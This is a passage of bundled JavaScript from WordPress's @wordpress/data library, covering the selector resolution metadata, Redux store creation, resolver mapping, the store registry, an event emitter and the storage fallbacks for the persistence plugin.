( cache.lastDependants && !isShallowEqual(dependants, cache.lastDependants, 0) ) { cache.clear(); } cache.lastDependants = dependants; } node = cache.head; while (node) { // Check whether node arguments match arguments if (!isShallowEqual(node.args, args, 1)) { node = node.next; continue; } // At this point we can assume we've found a match // Surface matched node to head if not already if (node !== cache.head) { // Adjust siblings to point to each other. /** @type {CacheNode} */ (node.prev).next = node.next; if (node.next) { node.next.prev = node.prev; } node.next = cache.head; node.prev = null; /** @type {CacheNode} */ (cache.head).prev = node; cache.head = node; } // Return immediately return node.val; } // No cached value found. Continue to insertion phase: node = /** @type {CacheNode} */ ({ // Generate the result from original function val: selector.apply(null, args), }); // Avoid including the source object in the cache. args[0] = null; node.args = args; // Don't need to check whether node is already head, since it would // have been returned above already if it was // Shift existing head down list if (cache.head) { cache.head.prev = node; node.next = cache.head; } cache.head = node; return node.val; } callSelector.getDependants = normalizedGetDependants; callSelector.clear = clear; clear(); return /** @type {S & EnhancedSelector} */ (callSelector); } ;// ./node_modules/@wordpress/data/build-module/redux-store/metadata/selectors.js /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {Record<string, import('./reducer').State>} State */ /** @typedef {import('./reducer').StateValue} StateValue */ /** @typedef {import('./reducer').Status} Status */ /** * Returns the raw resolution state value for a given selector name, * and arguments set. May be undefined if the selector has never been resolved * or not resolved for the given set of arguments, otherwise true or false for * resolution started and completed respectively. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {StateValue|undefined} isResolving value. */ function getResolutionState(state, selectorName, args) { const map = state[selectorName]; if (!map) { return; } return map.get(selectorArgsToStateKey(args)); } /** * Returns an `isResolving`-like value for a given selector name and arguments set. * Its value is either `undefined` if the selector has never been resolved or has been * invalidated, or a `true`/`false` boolean value if the resolution is in progress or * has finished, respectively. * * This is a legacy selector that was implemented when the "raw" internal data had * this `undefined | boolean` format. Nowadays the internal value is an object that * can be retrieved with `getResolutionState`. * * @deprecated * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {boolean | undefined} isResolving value. */ function getIsResolving(state, selectorName, args) { external_wp_deprecated_default()('wp.data.select( store ).getIsResolving', { since: '6.6', version: '6.8', alternative: 'wp.data.select( store ).getResolutionState' }); const resolutionState = getResolutionState(state, selectorName, args); return resolutionState && resolutionState.status === 'resolving'; } /** * Returns true if resolution has already been triggered for a given * selector name, and arguments set. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {boolean} Whether resolution has been triggered. */ function hasStartedResolution(state, selectorName, args) { return getResolutionState(state, selectorName, args) !== undefined; } /** * Returns true if resolution has completed for a given selector * name, and arguments set. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {boolean} Whether resolution has completed. */ function hasFinishedResolution(state, selectorName, args) { const status = getResolutionState(state, selectorName, args)?.status; return status === 'finished' || status === 'error'; } /** * Returns true if resolution has failed for a given selector * name, and arguments set. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {boolean} Has resolution failed */ function hasResolutionFailed(state, selectorName, args) { return getResolutionState(state, selectorName, args)?.status === 'error'; } /** * Returns the resolution error for a given selector name, and arguments set. * Note it may be of an Error type, but may also be null, undefined, or anything else * that can be `throw`-n. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {Error|unknown} Last resolution error */ function getResolutionError(state, selectorName, args) { const resolutionState = getResolutionState(state, selectorName, args); return resolutionState?.status === 'error' ? resolutionState.error : null; } /** * Returns true if resolution has been triggered but has not yet completed for * a given selector name, and arguments set. * * @param {State} state Data state. * @param {string} selectorName Selector name. * @param {unknown[]?} args Arguments passed to selector. * * @return {boolean} Whether resolution is in progress. */ function isResolving(state, selectorName, args) { return getResolutionState(state, selectorName, args)?.status === 'resolving'; } /** * Returns the list of the cached resolvers. * * @param {State} state Data state. * * @return {State} Resolvers mapped by args and selectorName. */ function getCachedResolvers(state) { return state; } /** * Whether the store has any currently resolving selectors. * * @param {State} state Data state. * * @return {boolean} True if one or more selectors are resolving, false otherwise. */ function hasResolvingSelectors(state) { return Object.values(state).some(selectorState => /** * This uses the internal `_map` property of `EquivalentKeyMap` for * optimization purposes, since the `EquivalentKeyMap` implementation * does not support a `.values()` implementation. * * @see https://github.com/aduth/equivalent-key-map */ Array.from(selectorState._map.values()).some(resolution => resolution[1]?.status === 'resolving')); } /** * Retrieves the total number of selectors, grouped per status. * * @param {State} state Data state. * * @return {Object} Object, containing selector totals by status. */ const countSelectorsByStatus = rememo(state => { const selectorsByStatus = {}; Object.values(state).forEach(selectorState => /** * This uses the internal `_map` property of `EquivalentKeyMap` for * optimization purposes, since the `EquivalentKeyMap` implementation * does not support a `.values()` implementation. * * @see https://github.com/aduth/equivalent-key-map */ Array.from(selectorState._map.values()).forEach(resolution => { var _resolution$1$status; const currentStatus = (_resolution$1$status = resolution[1]?.status) !== null && _resolution$1$status !== void 0 ? _resolution$1$status : 'error'; if (!selectorsByStatus[currentStatus]) { selectorsByStatus[currentStatus] = 0; } selectorsByStatus[currentStatus]++; })); return selectorsByStatus; }, state => [state]); ;// ./node_modules/@wordpress/data/build-module/redux-store/metadata/actions.js /** * Returns an action object used in signalling that selector resolution has * started. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[]} args Arguments to associate for uniqueness. * * @return {{ type: 'START_RESOLUTION', selectorName: string, args: unknown[] }} Action object. */ function startResolution(selectorName, args) { return { type: 'START_RESOLUTION', selectorName, args }; } /** * Returns an action object used in signalling that selector resolution has * completed. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[]} args Arguments to associate for uniqueness. * * @return {{ type: 'FINISH_RESOLUTION', selectorName: string, args: unknown[] }} Action object. */ function finishResolution(selectorName, args) { return { type: 'FINISH_RESOLUTION', selectorName, args }; } /** * Returns an action object used in signalling that selector resolution has * failed. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[]} args Arguments to associate for uniqueness. * @param {Error|unknown} error The error that caused the failure. * * @return {{ type: 'FAIL_RESOLUTION', selectorName: string, args: unknown[], error: Error|unknown }} Action object. */ function failResolution(selectorName, args, error) { return { type: 'FAIL_RESOLUTION', selectorName, args, error }; } /** * Returns an action object used in signalling that a batch of selector resolutions has * started. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[][]} args Array of arguments to associate for uniqueness, each item * is associated to a resolution. * * @return {{ type: 'START_RESOLUTIONS', selectorName: string, args: unknown[][] }} Action object. */ function startResolutions(selectorName, args) { return { type: 'START_RESOLUTIONS', selectorName, args }; } /** * Returns an action object used in signalling that a batch of selector resolutions has * completed. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[][]} args Array of arguments to associate for uniqueness, each item * is associated to a resolution. * * @return {{ type: 'FINISH_RESOLUTIONS', selectorName: string, args: unknown[][] }} Action object. */ function finishResolutions(selectorName, args) { return { type: 'FINISH_RESOLUTIONS', selectorName, args }; } /** * Returns an action object used in signalling that a batch of selector resolutions has * completed and at least one of them has failed. * * @param {string} selectorName Name of selector for which resolver triggered. * @param {unknown[]} args Array of arguments to associate for uniqueness, each item * is associated to a resolution. * @param {(Error|unknown)[]} errors Array of errors to associate for uniqueness, each item * is associated to a resolution. * @return {{ type: 'FAIL_RESOLUTIONS', selectorName: string, args: unknown[], errors: Array<Error|unknown> }} Action object. */ function failResolutions(selectorName, args, errors) { return { type: 'FAIL_RESOLUTIONS', selectorName, args, errors }; } /** * Returns an action object used in signalling that we should invalidate the resolution cache. * * @param {string} selectorName Name of selector for which resolver should be invalidated. * @param {unknown[]} args Arguments to associate for uniqueness. * * @return {{ type: 'INVALIDATE_RESOLUTION', selectorName: string, args: any[] }} Action object. */ function invalidateResolution(selectorName, args) { return { type: 'INVALIDATE_RESOLUTION', selectorName, args }; } /** * Returns an action object used in signalling that the resolution * should be invalidated. * * @return {{ type: 'INVALIDATE_RESOLUTION_FOR_STORE' }} Action object. */ function invalidateResolutionForStore() { return { type: 'INVALIDATE_RESOLUTION_FOR_STORE' }; } /** * Returns an action object used in signalling that the resolution cache for a * given selectorName should be invalidated. * * @param {string} selectorName Name of selector for which all resolvers should * be invalidated. * * @return {{ type: 'INVALIDATE_RESOLUTION_FOR_STORE_SELECTOR', selectorName: string }} Action object. */ function invalidateResolutionForStoreSelector(selectorName) { return { type: 'INVALIDATE_RESOLUTION_FOR_STORE_SELECTOR', selectorName }; } ;// ./node_modules/@wordpress/data/build-module/redux-store/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('../types').DataRegistry} DataRegistry */ /** @typedef {import('../types').ListenerFunction} ListenerFunction */ /** * @typedef {import('../types').StoreDescriptor<C>} StoreDescriptor * @template {import('../types').AnyConfig} C */ /** * @typedef {import('../types').ReduxStoreConfig<State,Actions,Selectors>} ReduxStoreConfig * @template State * @template {Record<string,import('../types').ActionCreator>} Actions * @template Selectors */ const trimUndefinedValues = array => { const result = [...array]; for (let i = result.length - 1; i >= 0; i--) { if (result[i] === undefined) { result.splice(i, 1); } } return result; }; /** * Creates a new object with the same keys, but with `callback()` called as * a transformer function on each of the values. * * @param {Object} obj The object to transform. * @param {Function} callback The function to transform each object value. * @return {Array} Transformed object. */ const mapValues = (obj, callback) => Object.fromEntries(Object.entries(obj !== null && obj !== void 0 ? obj : {}).map(([key, value]) => [key, callback(value, key)])); // Convert non serializable types to plain objects const devToolsReplacer = (key, state) => { if (state instanceof Map) { return Object.fromEntries(state); } if (state instanceof window.HTMLElement) { return null; } return state; }; /** * Create a cache to track whether resolvers started running or not. * * @return {Object} Resolvers Cache. */ function createResolversCache() { const cache = {}; return { isRunning(selectorName, args) { return cache[selectorName] && cache[selectorName].get(trimUndefinedValues(args)); }, clear(selectorName, args) { if (cache[selectorName]) { cache[selectorName].delete(trimUndefinedValues(args)); } }, markAsRunning(selectorName, args) { if (!cache[selectorName]) { cache[selectorName] = new (equivalent_key_map_default())(); } cache[selectorName].set(trimUndefinedValues(args), true); } }; } function createBindingCache(bind) { const cache = new WeakMap(); return { get(item, itemName) { let boundItem = cache.get(item); if (!boundItem) { boundItem = bind(item, itemName); cache.set(item, boundItem); } return boundItem; } }; } /** * Creates a data store descriptor for the provided Redux store configuration containing * properties describing reducer, actions, selectors, controls and resolvers. * * @example * ```js * import { createReduxStore } from '@wordpress/data'; * * const store = createReduxStore( 'demo', { * reducer: ( state = 'OK' ) => state, * selectors: { * getValue: ( state ) => state, * }, * } ); * ``` * * @template State * @template {Record<string,import('../types').ActionCreator>} Actions * @template Selectors * @param {string} key Unique namespace identifier. * @param {ReduxStoreConfig<State,Actions,Selectors>} options Registered store options, with properties * describing reducer, actions, selectors, * and resolvers. * * @return {StoreDescriptor<ReduxStoreConfig<State,Actions,Selectors>>} Store Object. */ function createReduxStore(key, options) { const privateActions = {}; const privateSelectors = {}; const privateRegistrationFunctions = { privateActions, registerPrivateActions: actions => { Object.assign(privateActions, actions); }, privateSelectors, registerPrivateSelectors: selectors => { Object.assign(privateSelectors, selectors); } }; const storeDescriptor = { name: key, instantiate: registry => { /** * Stores listener functions registered with `subscribe()`. * * When functions register to listen to store changes with * `subscribe()` they get added here. Although Redux offers * its own `subscribe()` function directly, by wrapping the * subscription in this store instance it's possible to * optimize checking if the state has changed before calling * each listener. * * @type {Set<ListenerFunction>} */ const listeners = new Set(); const reducer = options.reducer; const thunkArgs = { registry, get dispatch() { return thunkActions; }, get select() { return thunkSelectors; }, get resolveSelect() { return getResolveSelectors(); } }; const store = instantiateReduxStore(key, options, registry, thunkArgs); // Expose the private registration functions on the store // so they can be copied to a sub registry in registry.js. lock(store, privateRegistrationFunctions); const resolversCache = createResolversCache(); function bindAction(action) { return (...args) => Promise.resolve(store.dispatch(action(...args))); } const actions = { ...mapValues(actions_namespaceObject, bindAction), ...mapValues(options.actions, bindAction) }; const boundPrivateActions = createBindingCache(bindAction); const allActions = new Proxy(() => {}, { get: (target, prop) => { const privateAction = privateActions[prop]; return privateAction ? boundPrivateActions.get(privateAction, prop) : actions[prop]; } }); const thunkActions = new Proxy(allActions, { apply: (target, thisArg, [action]) => store.dispatch(action) }); lock(actions, allActions); const resolvers = options.resolvers ? mapResolvers(options.resolvers) : {}; function bindSelector(selector, selectorName) { if (selector.isRegistrySelector) { selector.registry = registry; } const boundSelector = (...args) => { args = normalize(selector, args); const state = store.__unstableOriginalGetState(); // Before calling the selector, switch to the correct // registry. if (selector.isRegistrySelector) { selector.registry = registry; } return selector(state.root, ...args); }; // Expose normalization method on the bound selector // in order that it can be called when fulfilling // the resolver. boundSelector.__unstableNormalizeArgs = selector.__unstableNormalizeArgs; const resolver = resolvers[selectorName]; if (!resolver) { boundSelector.hasResolver = false; return boundSelector; } return mapSelectorWithResolver(boundSelector, selectorName, resolver, store, resolversCache); } function bindMetadataSelector(metaDataSelector) { const boundSelector = (...args) => { const state = store.__unstableOriginalGetState(); const originalSelectorName = args && args[0]; const originalSelectorArgs = args && args[1]; const targetSelector = options?.selectors?.[originalSelectorName]; // Normalize the arguments passed to the target selector. if (originalSelectorName && targetSelector) { args[1] = normalize(targetSelector, originalSelectorArgs); } return metaDataSelector(state.metadata, ...args); }; boundSelector.hasResolver = false; return boundSelector; } const selectors = { ...mapValues(selectors_namespaceObject, bindMetadataSelector), ...mapValues(options.selectors, bindSelector) }; const boundPrivateSelectors = createBindingCache(bindSelector); // Pre-bind the private selectors that have been registered by the time of // instantiation, so that registry selectors are bound to the registry. for (const [selectorName, selector] of Object.entries(privateSelectors)) { boundPrivateSelectors.get(selector, selectorName); } const allSelectors = new Proxy(() => {}, { get: (target, prop) => { const privateSelector = privateSelectors[prop]; return privateSelector ? boundPrivateSelectors.get(privateSelector, prop) : selectors[prop]; } }); const thunkSelectors = new Proxy(allSelectors, { apply: (target, thisArg, [selector]) => selector(store.__unstableOriginalGetState()) }); lock(selectors, allSelectors); const resolveSelectors = mapResolveSelectors(selectors, store); const suspendSelectors = mapSuspendSelectors(selectors, store); const getSelectors = () => selectors; const getActions = () => actions; const getResolveSelectors = () => resolveSelectors; const getSuspendSelectors = () => suspendSelectors; // We have some modules monkey-patching the store object // It's wrong to do so but until we refactor all of our effects to controls // We need to keep the same "store" instance here. store.__unstableOriginalGetState = store.getState; store.getState = () => store.__unstableOriginalGetState().root; // Customize subscribe behavior to call listeners only on effective change, // not on every dispatch. const subscribe = store && (listener => { listeners.add(listener); return () => listeners.delete(listener); }); let lastState = store.__unstableOriginalGetState(); store.subscribe(() => { const state = store.__unstableOriginalGetState(); const hasChanged = state !== lastState; lastState = state; if (hasChanged) { for (const listener of listeners) { listener(); } } }); // This can be simplified to just { subscribe, getSelectors, getActions } // Once we remove the use function. return { reducer, store, actions, selectors, resolvers, getSelectors, getResolveSelectors, getSuspendSelectors, getActions, subscribe }; } }; // Expose the private registration functions on the store // descriptor. That's a natural choice since that's where the // public actions and selectors are stored . lock(storeDescriptor, privateRegistrationFunctions); return storeDescriptor; } /** * Creates a redux store for a namespace. * * @param {string} key Unique namespace identifier. * @param {Object} options Registered store options, with properties * describing reducer, actions, selectors, * and resolvers. * @param {DataRegistry} registry Registry reference. * @param {Object} thunkArgs Argument object for the thunk middleware. * @return {Object} Newly created redux store. */ function instantiateReduxStore(key, options, registry, thunkArgs) { const controls = { ...options.controls, ...builtinControls }; const normalizedControls = mapValues(controls, control => control.isRegistryControl ? control(registry) : control); const middlewares = [resolvers_cache_middleware(registry, key), promise_middleware, external_wp_reduxRoutine_default()(normalizedControls), createThunkMiddleware(thunkArgs)]; const enhancers = [applyMiddleware(...middlewares)]; if (typeof window !== 'undefined' && window.__REDUX_DEVTOOLS_EXTENSION__) { enhancers.push(window.__REDUX_DEVTOOLS_EXTENSION__({ name: key, instanceId: key, serialize: { replacer: devToolsReplacer } })); } const { reducer, initialState } = options; const enhancedReducer = combine_reducers_combineReducers({ metadata: metadata_reducer, root: reducer }); return createStore(enhancedReducer, { root: initialState }, (0,external_wp_compose_namespaceObject.compose)(enhancers)); } /** * Maps selectors to functions that return a resolution promise for them * * @param {Object} selectors Selectors to map. * @param {Object} store The redux store the selectors select from. * * @return {Object} Selectors mapped to their resolution functions. */ function mapResolveSelectors(selectors, store) { const { getIsResolving, hasStartedResolution, hasFinishedResolution, hasResolutionFailed, isResolving, getCachedResolvers, getResolutionState, getResolutionError, hasResolvingSelectors, countSelectorsByStatus, ...storeSelectors } = selectors; return mapValues(storeSelectors, (selector, selectorName) => { // If the selector doesn't have a resolver, just convert the return value // (including exceptions) to a Promise, no additional extra behavior is needed. if (!selector.hasResolver) { return async (...args) => selector.apply(null, args); } return (...args) => { return new Promise((resolve, reject) => { const hasFinished = () => selectors.hasFinishedResolution(selectorName, args); const finalize = result => { const hasFailed = selectors.hasResolutionFailed(selectorName, args); if (hasFailed) { const error = selectors.getResolutionError(selectorName, args); reject(error); } else { resolve(result); } }; const getResult = () => selector.apply(null, args); // Trigger the selector (to trigger the resolver) const result = getResult(); if (hasFinished()) { return finalize(result); } const unsubscribe = store.subscribe(() => { if (hasFinished()) { unsubscribe(); finalize(getResult()); } }); }); }; }); } /** * Maps selectors to functions that throw a suspense promise if not yet resolved. * * @param {Object} selectors Selectors to map. * @param {Object} store The redux store the selectors select from. * * @return {Object} Selectors mapped to their suspense functions. */ function mapSuspendSelectors(selectors, store) { return mapValues(selectors, (selector, selectorName) => { // Selector without a resolver doesn't have any extra suspense behavior. if (!selector.hasResolver) { return selector; } return (...args) => { const result = selector.apply(null, args); if (selectors.hasFinishedResolution(selectorName, args)) { if (selectors.hasResolutionFailed(selectorName, args)) { throw selectors.getResolutionError(selectorName, args); } return result; } throw new Promise(resolve => { const unsubscribe = store.subscribe(() => { if (selectors.hasFinishedResolution(selectorName, args)) { resolve(); unsubscribe(); } }); }); }; }); } /** * Convert resolvers to a normalized form, an object with `fulfill` method and * optional methods like `isFulfilled`. * * @param {Object} resolvers Resolver to convert */ function mapResolvers(resolvers) { return mapValues(resolvers, resolver => { if (resolver.fulfill) { return resolver; } return { ...resolver, // Copy the enumerable properties of the resolver function. fulfill: resolver // Add the fulfill method. }; }); } /** * Returns a selector with a matched resolver. * Resolvers are side effects invoked once per argument set of a given selector call, * used in ensuring that the data needs for the selector are satisfied. * * @param {Object} selector The selector function to be bound. * @param {string} selectorName The selector name. * @param {Object} resolver Resolver to call. * @param {Object} store The redux store to which the resolvers should be mapped. * @param {Object} resolversCache Resolvers Cache. */ function mapSelectorWithResolver(selector, selectorName, resolver, store, resolversCache) { function fulfillSelector(args) { const state = store.getState(); if (resolversCache.isRunning(selectorName, args) || typeof resolver.isFulfilled === 'function' && resolver.isFulfilled(state, ...args)) { return; } const { metadata } = store.__unstableOriginalGetState(); if (hasStartedResolution(metadata, selectorName, args)) { return; } resolversCache.markAsRunning(selectorName, args); setTimeout(async () => { resolversCache.clear(selectorName, args); store.dispatch(startResolution(selectorName, args)); try { const action = resolver.fulfill(...args); if (action) { await store.dispatch(action); } store.dispatch(finishResolution(selectorName, args)); } catch (error) { store.dispatch(failResolution(selectorName, args, error)); } }, 0); } const selectorResolver = (...args) => { args = normalize(selector, args); fulfillSelector(args); return selector(...args); }; selectorResolver.hasResolver = true; return selectorResolver; } /** * Applies selector's normalization function to the given arguments * if it exists. * * @param {Object} selector The selector potentially with a normalization method property. * @param {Array} args selector arguments to normalize. * @return {Array} Potentially normalized arguments. */ function normalize(selector, args) { if (selector.__unstableNormalizeArgs && typeof selector.__unstableNormalizeArgs === 'function' && args?.length) { return selector.__unstableNormalizeArgs(args); } return args; } ;// ./node_modules/@wordpress/data/build-module/store/index.js const coreDataStore = { name: 'core/data', instantiate(registry) { const getCoreDataSelector = selectorName => (key, ...args) => { return registry.select(key)[selectorName](...args); }; const getCoreDataAction = actionName => (key, ...args) => { return registry.dispatch(key)[actionName](...args); }; return { getSelectors() { return Object.fromEntries(['getIsResolving', 'hasStartedResolution', 'hasFinishedResolution', 'isResolving', 'getCachedResolvers'].map(selectorName => [selectorName, getCoreDataSelector(selectorName)])); }, getActions() { return Object.fromEntries(['startResolution', 'finishResolution', 'invalidateResolution', 'invalidateResolutionForStore', 'invalidateResolutionForStoreSelector'].map(actionName => [actionName, getCoreDataAction(actionName)])); }, subscribe() { // There's no reasons to trigger any listener when we subscribe to this store // because there's no state stored in this store that need to retrigger selectors // if a change happens, the corresponding store where the tracking stated live // would have already triggered a "subscribe" call. return () => () => {}; } }; } }; /* harmony default export */ const store = (coreDataStore); ;// ./node_modules/@wordpress/data/build-module/utils/emitter.js /** * Create an event emitter. * * @return The event emitter. */ function createEmitter() { let isPaused = false; let isPending = false; const listeners = new Set(); const notifyListeners = () => // We use Array.from to clone the listeners Set // This ensures that we don't run a listener // that was added as a response to another listener. Array.from(listeners).forEach(listener => listener()); return { get isPaused() { return isPaused; }, subscribe(listener) { listeners.add(listener); return () => listeners.delete(listener); }, pause() { isPaused = true; }, resume() { isPaused = false; if (isPending) { isPending = false; notifyListeners(); } }, emit() { if (isPaused) { isPending = true; return; } notifyListeners(); } }; } ;// ./node_modules/@wordpress/data/build-module/registry.js /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {import('./types').StoreDescriptor} StoreDescriptor */ /** * @typedef {Object} WPDataRegistry An isolated orchestrator of store registrations. * * @property {Function} registerGenericStore Given a namespace key and settings * object, registers a new generic * store. * @property {Function} registerStore Given a namespace key and settings * object, registers a new namespace * store. * @property {Function} subscribe Given a function callback, invokes * the callback on any change to state * within any registered store. * @property {Function} select Given a namespace key, returns an * object of the store's registered * selectors. * @property {Function} dispatch Given a namespace key, returns an * object of the store's registered * action dispatchers. */ /** * @typedef {Object} WPDataPlugin An object of registry function overrides. * * @property {Function} registerStore registers store. */ function getStoreName(storeNameOrDescriptor) { return typeof storeNameOrDescriptor === 'string' ? storeNameOrDescriptor : storeNameOrDescriptor.name; } /** * Creates a new store registry, given an optional object of initial store * configurations. * * @param {Object} storeConfigs Initial store configurations. * @param {?Object} parent Parent registry. * * @return {WPDataRegistry} Data registry. */ function createRegistry(storeConfigs = {}, parent = null) { const stores = {}; const emitter = createEmitter(); let listeningStores = null; /** * Global listener called for each store's update. */ function globalListener() { emitter.emit(); } /** * Subscribe to changes to any data, either in all stores in registry, or * in one specific store. * * @param {Function} listener Listener function. * @param {string|StoreDescriptor?} storeNameOrDescriptor Optional store name. * * @return {Function} Unsubscribe function. */ const subscribe = (listener, storeNameOrDescriptor) => { // subscribe to all stores if (!storeNameOrDescriptor) { return emitter.subscribe(listener); } // subscribe to one store const storeName = getStoreName(storeNameOrDescriptor); const store = stores[storeName]; if (store) { return store.subscribe(listener); } // Trying to access a store that hasn't been registered, // this is a pattern rarely used but seen in some places. // We fallback to global `subscribe` here for backward-compatibility for now. // See https://github.com/WordPress/gutenberg/pull/27466 for more info. if (!parent) { return emitter.subscribe(listener); } return parent.subscribe(listener, storeNameOrDescriptor); }; /** * Calls a selector given the current state and extra arguments. * * @param {string|StoreDescriptor} storeNameOrDescriptor Unique namespace identifier for the store * or the store descriptor. * * @return {*} The selector's returned value. */ function select(storeNameOrDescriptor) { const storeName = getStoreName(storeNameOrDescriptor); listeningStores?.add(storeName); const store = stores[storeName]; if (store) { return store.getSelectors(); } return parent?.select(storeName); } function __unstableMarkListeningStores(callback, ref) { listeningStores = new Set(); try { return callback.call(this); } finally { ref.current = Array.from(listeningStores); listeningStores = null; } } /** * Given a store descriptor, returns an object containing the store's selectors pre-bound to * state so that you only need to supply additional arguments, and modified so that they return * promises that resolve to their eventual values, after any resolvers have ran. * * @param {StoreDescriptor|string} storeNameOrDescriptor The store descriptor. The legacy calling * convention of passing the store name is * also supported. * * @return {Object} Each key of the object matches the name of a selector. */ function resolveSelect(storeNameOrDescriptor) { const storeName = getStoreName(storeNameOrDescriptor); listeningStores?.add(storeName); const store = stores[storeName]; if (store) { return store.getResolveSelectors(); } return parent && parent.resolveSelect(storeName); } /** * Given a store descriptor, returns an object containing the store's selectors pre-bound to * state so that you only need to supply additional arguments, and modified so that they throw * promises in case the selector is not resolved yet. * * @param {StoreDescriptor|string} storeNameOrDescriptor The store descriptor. The legacy calling * convention of passing the store name is * also supported. * * @return {Object} Object containing the store's suspense-wrapped selectors. */ function suspendSelect(storeNameOrDescriptor) { const storeName = getStoreName(storeNameOrDescriptor); listeningStores?.add(storeName); const store = stores[storeName]; if (store) { return store.getSuspendSelectors(); } return parent && parent.suspendSelect(storeName); } /** * Returns the available actions for a part of the state. * * @param {string|StoreDescriptor} storeNameOrDescriptor Unique namespace identifier for the store * or the store descriptor. * * @return {*} The action's returned value. */ function dispatch(storeNameOrDescriptor) { const storeName = getStoreName(storeNameOrDescriptor); const store = stores[storeName]; if (store) { return store.getActions(); } return parent && parent.dispatch(storeName); } // // Deprecated // TODO: Remove this after `use()` is removed. function withPlugins(attributes) { return Object.fromEntries(Object.entries(attributes).map(([key, attribute]) => { if (typeof attribute !== 'function') { return [key, attribute]; } return [key, function () { return registry[key].apply(null, arguments); }]; })); } /** * Registers a store instance. * * @param {string} name Store registry name. * @param {Function} createStore Function that creates a store object (getSelectors, getActions, subscribe). */ function registerStoreInstance(name, createStore) { if (stores[name]) { // eslint-disable-next-line no-console console.error('Store "' + name + '" is already registered.'); return stores[name]; } const store = createStore(); if (typeof store.getSelectors !== 'function') { throw new TypeError('store.getSelectors must be a function'); } if (typeof store.getActions !== 'function') { throw new TypeError('store.getActions must be a function'); } if (typeof store.subscribe !== 'function') { throw new TypeError('store.subscribe must be a function'); } // The emitter is used to keep track of active listeners when the registry // get paused, that way, when resumed we should be able to call all these // pending listeners. store.emitter = createEmitter(); const currentSubscribe = store.subscribe; store.subscribe = listener => { const unsubscribeFromEmitter = store.emitter.subscribe(listener); const unsubscribeFromStore = currentSubscribe(() => { if (store.emitter.isPaused) { store.emitter.emit(); return; } listener(); }); return () => { unsubscribeFromStore?.(); unsubscribeFromEmitter?.(); }; }; stores[name] = store; store.subscribe(globalListener); // Copy private actions and selectors from the parent store. if (parent) { try { unlock(store.store).registerPrivateActions(unlock(parent).privateActionsOf(name)); unlock(store.store).registerPrivateSelectors(unlock(parent).privateSelectorsOf(name)); } catch (e) { // unlock() throws if store.store was not locked. // The error indicates there's nothing to do here so let's // ignore it. } } return store; } /** * Registers a new store given a store descriptor. * * @param {StoreDescriptor} store Store descriptor. */ function register(store) { registerStoreInstance(store.name, () => store.instantiate(registry)); } function registerGenericStore(name, store) { external_wp_deprecated_default()('wp.data.registerGenericStore', { since: '5.9', alternative: 'wp.data.register( storeDescriptor )' }); registerStoreInstance(name, () => store); } /** * Registers a standard `@wordpress/data` store. * * @param {string} storeName Unique namespace identifier. * @param {Object} options Store description (reducer, actions, selectors, resolvers). * * @return {Object} Registered store object. */ function registerStore(storeName, options) { if (!options.reducer) { throw new TypeError('Must specify store reducer'); } const store = registerStoreInstance(storeName, () => createReduxStore(storeName, options).instantiate(registry)); return store.store; } function batch(callback) { // If we're already batching, just call the callback. if (emitter.isPaused) { callback(); return; } emitter.pause(); Object.values(stores).forEach(store => store.emitter.pause()); try { callback(); } finally { emitter.resume(); Object.values(stores).forEach(store => store.emitter.resume()); } } let registry = { batch, stores, namespaces: stores, // TODO: Deprecate/remove this. subscribe, select, resolveSelect, suspendSelect, dispatch, use, register, registerGenericStore, registerStore, __unstableMarkListeningStores }; // // TODO: // This function will be deprecated as soon as it is no longer internally referenced. function use(plugin, options) { if (!plugin) { return; } registry = { ...registry, ...plugin(registry, options) }; return registry; } registry.register(store); for (const [name, config] of Object.entries(storeConfigs)) { registry.register(createReduxStore(name, config)); } if (parent) { parent.subscribe(globalListener); } const registryWithPlugins = withPlugins(registry); lock(registryWithPlugins, { privateActionsOf: name => { try { return unlock(stores[name].store).privateActions; } catch (e) { // unlock() throws an error the store was not locked – this means // there no private actions are available return {}; } }, privateSelectorsOf: name => { try { return unlock(stores[name].store).privateSelectors; } catch (e) { return {}; } } }); return registryWithPlugins; } ;// ./node_modules/@wordpress/data/build-module/default-registry.js /** * Internal dependencies */ /* harmony default export */ const default_registry = (createRegistry()); ;// ./node_modules/is-plain-object/dist/is-plain-object.mjs /*! * is-plain-object <https://github.com/jonschlinkert/is-plain-object> * * Copyright (c) 2014-2017, Jon Schlinkert. * Released under the MIT License. */ function is_plain_object_isObject(o) { return Object.prototype.toString.call(o) === '[object Object]'; } function is_plain_object_isPlainObject(o) { var ctor,prot; if (is_plain_object_isObject(o) === false) return false; // If has modified constructor ctor = o.constructor; if (ctor === undefined) return true; // If has modified prototype prot = ctor.prototype; if (is_plain_object_isObject(prot) === false) return false; // If constructor does not have an Object-specific method if (prot.hasOwnProperty('isPrototypeOf') === false) { return false; } // Most likely a plain Object return true; } // EXTERNAL MODULE: ./node_modules/deepmerge/dist/cjs.js var cjs = __webpack_require__(66); var cjs_default = /*#__PURE__*/__webpack_require__.n(cjs); ;// ./node_modules/@wordpress/data/build-module/plugins/persistence/storage/object.js let objectStorage; const storage = { getItem(key) { if (!objectStorage || !objectStorage[key]) { return null; } return objectStorage[key]; }, setItem(key, value) { if (!objectStorage) { storage.clear(); } objectStorage[key] = String(value); }, clear() { objectStorage = Object.create(null); } }; /* harmony default export */ const object = (storage); ;// ./node_modules/@wordpress/data/build-module/plugins/persistence/storage/default.js /** * Internal dependencies */ let default_storage; try { // Private Browsing in Safari 10 and earlier will throw an error when // attempting to set into localStorage. The test here is intentional in // causing a thrown error as condition for using fallback object storage. default_storage = window.localStorage; default_storage.setItem('__wpDataTestLocalStorage', ''); default_storage.removeItem('__wpDataTestLocalStorage'); } catch (error) 